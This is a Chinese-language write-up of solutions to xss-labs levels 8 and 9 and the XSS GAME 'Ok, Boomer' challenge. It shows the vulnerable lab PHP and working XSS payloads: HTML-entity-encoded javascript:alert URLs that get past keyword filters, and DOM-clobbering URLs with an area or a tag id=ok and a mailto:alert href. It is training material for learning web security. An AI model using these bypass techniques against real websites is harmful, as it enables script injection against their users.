xss-labs第八、九关卡以及XSS GAME的Ok,Boomer关卡

第八关

靶场代码

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

代码分析

关键点:

  • 字符串过滤:在代码中,输入参数keyword经过一系列的str_replace操作,目的是为了替换一些危险的HTML和JavaScript关键字,如script、on、src、href等。

所以我们可以考虑一下,能不能使用HTML实体编码

html 复制代码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

第九关

靶场代码

php 复制代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

代码分析

这关于第八关,大差不差

关键点:

  • strops():查找了子字符串中是否含有http://

所以,变通一下,在alert()中,使用http://

html 复制代码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;http://&#x27;&#x29;

注意:

在alert中,如果不是使用数字,则必须要添加引号,由于引号被过滤了,所以,也要进行HTML实体编码

XSS GAME的Ok,Boomer关卡解体思路

XSS GAME靶场关卡网址

代码片段

html 复制代码
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

代码分析

关键点:

  • DOMPurify.sanitize:这是一个DOMPurify库,是一个用于防止XSS跨站攻击的JavaScript函数,用来对HTML字符串代码"消毒",移除恶意字符串
  • new URL(location).searchParams.get('boomer'):通过创建一个URL对象,解析当前页面完整的URL,从URL查询参数,获取boomer的值
  • setTimeout(ok, 2000):这是一个定时器函数,用于延迟执行某个函数,即,执行ok

通过上面的几个关键点,首先排除了常规的方式(排除所有的javascript代码),那么,现在能实现payload的地方只有setTimeout了,也就是如何才能执行ok
现在面临的问题是:ok变量不存在,因此无法执行
思考:是否能够自己定义一个ok变量,如何定义是其执行ok

方法(DOM Clobbering)

什么是DOM Clobbering?

简单来说,通过注入HTML元素,创建一个javascript变量

首先了解一下:setTimeout(functionRef,time)

既然要使用setTimeout这个函数就要了解一下,这个函数机制
setTimeout在可以处理函数,但是,在处理非函数时,调用toString()

解释:

  • JavaScript会尝试将ok转换为字符串,相当于String(ok)
  • 之后,JavaScript执行这个字符串,等于eval(Sring(ok))

而含有toString()方法的标签每个元素都有,但是大部分是HTMLElement.prototype.toString(),也就是继承父类的标签,这种标签返回的是[object HTMLXXXElement]

比如:

js 复制代码
console.log(document.createElement("div").toString()); 
// 输出: "[object HTMLDivElement]"

console.log(document.createElement("p").toString()); 
// 输出: "[object HTMLParagraphElement]"

因此,我们要使用覆盖父类的toString()方法的标签,他可以返回href

比如:<a></a><area>

确定好使用什么标签进行payload后,就要查看DOMPurify库的白名单了,也就是如何才能不通过交互的方式进行弹窗:mailto、tel等等

最后进行payload:

url 复制代码
https://sandbox.pwnfunction.com/warmups/ok-boomer.html/?boomer=%3Carea%20id=%27ok%27%20href=%27mailto:alert(1337)%27%3E
url 复制代码
https://sandbox.pwnfunction.com/warmups/ok-boomer.html/?boomer=%3Ca%20id=%27ok%27%20href=%27mailto:alert(1337)%27%3E%3C/a%3E
相关推荐
KKKlucifer6 小时前
数据安全合规自动化:策略落地、审计追溯与风险闭环技术解析
人工智能·安全
wanhengidc7 小时前
云手机 高振畅玩不踩坑
运维·服务器·安全·web安全·智能手机
QQ1__8115175157 小时前
Spring boot名城小区物业管理系统信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】
前端·vue.js·spring boot
钛态7 小时前
前端微前端架构:大项目的救命稻草还是自找麻烦?
前端·vue·react·web
一粒黑子7 小时前
【实战解析】阿里开源 PageAgent:纯前端 GUI Agent,一行JS让网页支持自然语言操控
前端·javascript·开源
独角鲸网络安全实验室7 小时前
2026微信小程序抓包全解析:从实操落地到合规风控,解锁前端调试新范式
前端·微信小程序·小程序·抓包·系统代理绕过·https证书严格校验·进程隔离
紫微AI7 小时前
前端文本测量成了卡死一切创新的最后瓶颈,pretext实现突破了
前端·人工智能·typescript
GISer_Jing7 小时前
AI前端(From豆包)
前端·aigc·ai编程
IT枫斗者7 小时前
前端部署后如何判断“页面是不是最新”?一套可落地的版本检测方案(适配 Vite/Vue/React/任意 SPA)
前端·javascript·vue.js·react.js·架构·bug
测试修炼手册7 小时前
[测试技术] 深入理解 JSON Web Token (JWT)
前端·json